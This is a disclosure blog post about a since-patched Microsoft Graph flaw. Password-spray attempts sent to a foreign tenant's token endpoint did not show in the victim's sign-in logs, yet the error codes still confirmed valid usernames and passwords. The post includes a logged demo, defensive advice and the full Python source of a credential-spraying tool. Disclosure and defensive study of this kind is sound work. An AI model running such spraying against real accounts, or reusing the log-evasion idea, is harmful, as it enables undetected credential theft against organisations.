Full Disclosure: A Look at a Recently Patched Microsoft Graph Logging Bypass - GraphNinja
From June 2023 to March 2024, Microsoft Graph was vulnerable to a logging bypass that allowed attackers to perform password-spray attacks undetected. During this period, any organization in Azure could have been attacked and would have had no indication of the activity. While this issue was identified in 2023, the exact time of its emergence remains unclear.
The bypass was straightforward: by changing the authentication endpoint for Microsoft Graph to that of an unrelated tenant, logon attempts would not appear in the victim's logs. However, verbose error messages would still reveal the validity of User Principal Names (UPNs) and passwords.
To be fair – while this vulnerability did enable attackers to silently identify valid credentials, they would then still need to use traditional logon methods that would appear in logs.
Microsoft did not issue a CVE for this vulnerability, considering it a 'Low severity issue'. Internally, it was assigned VULN-107279 and the associated ticket was officially closed on March 11, 2024.
Overview
Microsoft Graph provides different endpoints to authenticate to, depending on if your application is a single-tenant application or multi-tenant application. Normal Graph logons target the 'common' endpoint used by multi-tenant apps. This 'common' endpoint then takes care of figuring out which tenant to send the authentication to. By changing the endpoint of a Microsoft Graph authentication attempt from 'common' to any tenant ID besides that of the organization you were spraying, you could evade logging with password-sprays.
Instead of authenticating against the normal 'common' endpoint:
https://login.microsoftonline.com/common/oauth2/token
you change it to this:
https://login.microsoftonline.com/{tenant}/oauth2/token
Where {tenant} is any tenant ID that is not related to the organization where you are performing a password-spray.
That's it! User enumeration and logon indication worked just fine this way. Actual logon was not successful, as it was authenticating to another tenant, but the response still indicated if it was a valid or invalid password. The only difference in the Graph response is that a valid password would be denoted by an error code of AADSTS700016 instead of the traditional AADSTS50126 or AADSTS50079 responses.
By specifying the foreign tenant ID, this logon attempt would not show up in the victim's sign-in logs. If you used the target organization's actual tenant ID, the logons WOULD show up (as you are authing to their actual tenant directly). As long as the {tenant} used was any other tenant ID than your target org, it WOULD NOT show up in the sign-in logs.
Proof-of-Concept or GTFO
For this demo, I will use two scripts: graph_logon.py (Normal graph logon), and graphninja.py (Secret silent method that will not show in logs). The source code can be found here or at the end of this blog.
Remember: THIS ISSUE HAS BEEN FIXED AND NO LONGER WORKS.
1. First, a login attempt using normal graph logon (graph_logon.py) method was attempted on August 15th, 2023 at 01:38:40 UTC. We can see that it identified a valid username via the response code.
2. Checking our logs, we can see a failed logged in attempt was identified for a valid user. Log shows August 15th, 2023 at 8:38:41 local time timestamp, which matches our UTC timestamp graph_logon.py.
3. Next, we will perform another logon attempt, but using the graphninja method. For sake of clarity, this attempt was made from a different host with a different external IP, so that there will be no ambiguity in any logs if this attempt were to show up. (I've also performed an invalid username attempt just to demonstrate it is possible to differentiate valid vs invalid users, as in all Graph logon attempts.)
4. If we check our logs again, we see there are no new failed login attempt since the pervious attempt with the standard graph_logon.py. Our graphninja attempt has not appeared.
5. Two more logons were attempted with graph_logon.py. Note that the date of this log is AFTER the date of our graphninja.py attempt (August 15th, 2023 at 01:45:52 and 01:48:04 UTC).
6. Checking logs again shows no failed login attempts while using graphninja from the other host. You can see additional logs flowing in, but no failures logged via our graphninja method.
7. Use graphninja with a valid username and valid password shows that it is possible to verify valid credentials with this method. Since we are authenticating against another tenant's endpoint, authentication cannot complete successfully, but the verbose error codes still indicate that the password is valid.
8. Checking logs again. Still no sign of any login attempts – valid, or invalid – from graphninja.
9. Finally, we'll perform another standard graph_logon test to validate that logs are still flowing.
10. Checking the logs shows the latest failed authenticaiton from graph_logon.py. We can see that all logs are flowing, with various login attempts minutes apart showing up from graph_logon (standard graph authentication) but still no attempts were shown from graphninja with the alternate endpoint set.
Background and How it Works
Why does this work? I'm not 100% sure, but here's what I believe was happening:
- Entra ID only logs failed and successful attempts for VALID users.
- For authentication attempts to the 'common' endpoint, these are either forwarded to an account's logging, or perhaps each tenant queries from the common log regularly. At any rate, this seems to be based on the domain name in the UPN.
- For authentication attempts to a particular tenant, these would forward or log directly to the target tenant's account logging.
- For authentication attempts to a particular tenant where your user does not exist, trying to log in with an external username ([email protected] from the Acme Computer Company tenant authenticating to TrustedSec's tenant) would not be a valid user on the target tenant, and so the attempt would not be logged.
- Due to verbose Graph error codes (The same ones that make user enumeration possible), it is possible to see if the username is valid or invalid, and also whether the password is valid or invalid.
So, this logging bypass is done by authenticating against an individual tenant oauth2 endpoint vs the 'common' endpoint. I believe that the reason that this does not show up in logs is because the log viewer is only showing failed logins for VALID accounts FROM common endpoints and their own tenant.
I discovered this bypass while I was reviewing an old project for guest enumeration that I had been working on back in 2021. I had not known about Dr AzureAD's work on guest enumeration at that time, and had been testing out different potential methods of guest enumeration via Graph.
In my test scripts for the enumeration attempts, I had changed the tenant ID to that of the 'host' organization. It was while reviewing these scripts and testing them again with verbose output (Lots of print statements) that I realized these cross-tenant authentication attempts weren't being logged. So, unless Microsoft changed something drastically with this in the last few years, it seemed that I had accidentally stumbled upon this back in 2021 but didn't realize it at the time. It very likely could have existed since the dawn of Azure. It's so simple I'd be surprised if it isn't being used in the wild.
Reflections
This is something that affected all organizations in Azure directly. Being blind to an attack means you are unable to react. User enumeration, especially invisible user enumeration is bad. Password-spraying, especially invisible password-spraying, is way worse.
Now, bear in mind, Smart Lockout was still a compensating control; however, by varying the source IP addresses regularly, it would be possible to bypass this and determine if the credential set is valid. Once known, the attacker could then attempt to log in normally from a more familiar location.
I am unsure of whether or not this was actually used in the wild; however, with the simplicity of it, I would be surprised if I were the only one to discover it. The fact that something like this could potentially have existed for some time may help solve some mysterious intrusions where the source of a stolen credential was not known.
Microsoft Security Response Center rated this as a "low" severity issue. At the time of writing this, I have not seen any mention of the issue published anywhere on their site. It appears that they are not going to tell their customers that they have all been blind to password attacks for a long time. Should customers be warned about the existence of these now-patched vulnerabilities?
MSRC gets a lot of flak. They have good people, but perhaps insufficient pull with influencing developers, or insufficient staffing. At any rate, I believe that the current model of relying upon the goodwill of hackers is insufficient when it comes to the security of a large cloud provider. If I were a blackhat, I'm not sure that I would have given up this gem for any standard bounty amount. The bounties simply cannot be relied upon in the case of really juicy finds.
Use MFA. Use conditional access. Use hard-to-enumerate username formats. Separate email addresses from UPNs. Most importantly, ask Microsoft to take user enumeration seriously, as it is intertwined with the root of this problem.
Source Code:
#!/usr/bin/env python3
#
# GRAPH NINJA
#
# Logless password spraying
#
# THREAT LEVEL: MIDNIGHT
#
# 2023.06.26 @nyxgeek – TrustedSec
# Originally discovered but not realized October 2021
#
# Shoutout to o365enum where I snarfed some of this from https://github.com/gremwell/o365enum/
import requests
import argparse
# Define command-line arguments
parser = argparse.ArgumentParser(description='Log into Microsoft Graph.')
parser.add_argument("-u", "--username", help="user to target", metavar='')
parser.add_argument("-U", "--userfile", help="file containing usernames in email format", metavar='')
parser.add_argument("-p", "--password", help='Password for the Microsoft account.')
args = parser.parse_args()
def login(username, password):
headers = {
"User-Agent": "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro",
"Accept": "application/json",
}
body = {
"resource": "https://graph.windows.net",
"client_id": "72f988bf-86f1-41af-91ab-2d7cd011db42",
"client_info": '1',
"grant_type": "password",
"username": username,
"password": password,
"scope": "openid"
}
codes = {
0: ['AADSTS50034'], # INVALID
1: ['AADSTS50126'], # VALID
3: ['AADSTS50079', 'AADSTS50076'], # MSMFA
4: ['AADSTS50158'], # OTHER MFA
5: ['AADSTS50053'], # LOCKED
6: ['AADSTS50057'], # DISABLED
7: ['AADSTS50055'], # EXPIRED
8: ['AADSTS50128', 'AADSTS50059'], # INVALID TENANT
9: ['AADSTS700016'] # VALID USER/PASS
}
state = -1
#this is contoso tenant ID
response = requests.post("https://login.microsoftonline.com/6babcaad-604b-40ac-a9d7-9fd97c0b779f/oauth2/token", headers=headers, data=body)
# States
# 0 = invalid user
# 1 = valid user
# 2 = valid user/pass
# 3 = MS MFA response
# 4 = third-party MFA?
# 5 = locked out
# 6 = acc disabled
# 7 = pwd expired
# 8 = invalid tenant response
# 9 = valid user/pass
if response.status_code == 200:
state = 2
else:
respErr = response.json()['error_description']
for k, v in codes.items():
if any(e in respErr for e in v):
state = k
break
if state == -1:
#logging.info(f"UNKERR: {respErr}")
print(f"UNKERR: {respErr}")
#print(response.cookies.get_dict())
return state
if args.username:
# Call the login function
status = login(args.username, args.password)
if status == 9:
english_status = "VALID ACCOUNT CREDS"
elif status == 1:
english_status = "VALID USERNAME"
elif status == 5:
english_status = "LOCKED / SMART LOCKOUT"
elif status == 6:
english_status = "DISABLED"
elif status == 7:
english_status = "EXPIRED - UPDATE PASSWORD"
else:
english_status = "INVALID"
#single user lookup
print(f'{args.username}:{args.password} - Status: {english_status}')
if args.userfile:
# Read the file with the usernames
with open(args.userfile, 'r') as f:
usernames = f.read().splitlines()
# Call the login function for each username
for username in usernames:
status = login(username, args.password)
if status == 9:
english_status = "VALID ACCOUNT CREDS"
elif status == 1:
english_status = "VALID USERNAME"
elif status == 5:
english_status = "LOCKED / SMART LOCKOUT"
elif status == 6:
english_status = "DISABLED"
elif status == 7:
english_status = "EXPIRED - UPDATE PASSWORD"
else:
english_status = "INVALID"
print(f'{username}:{args.password} - Status: {english_status}')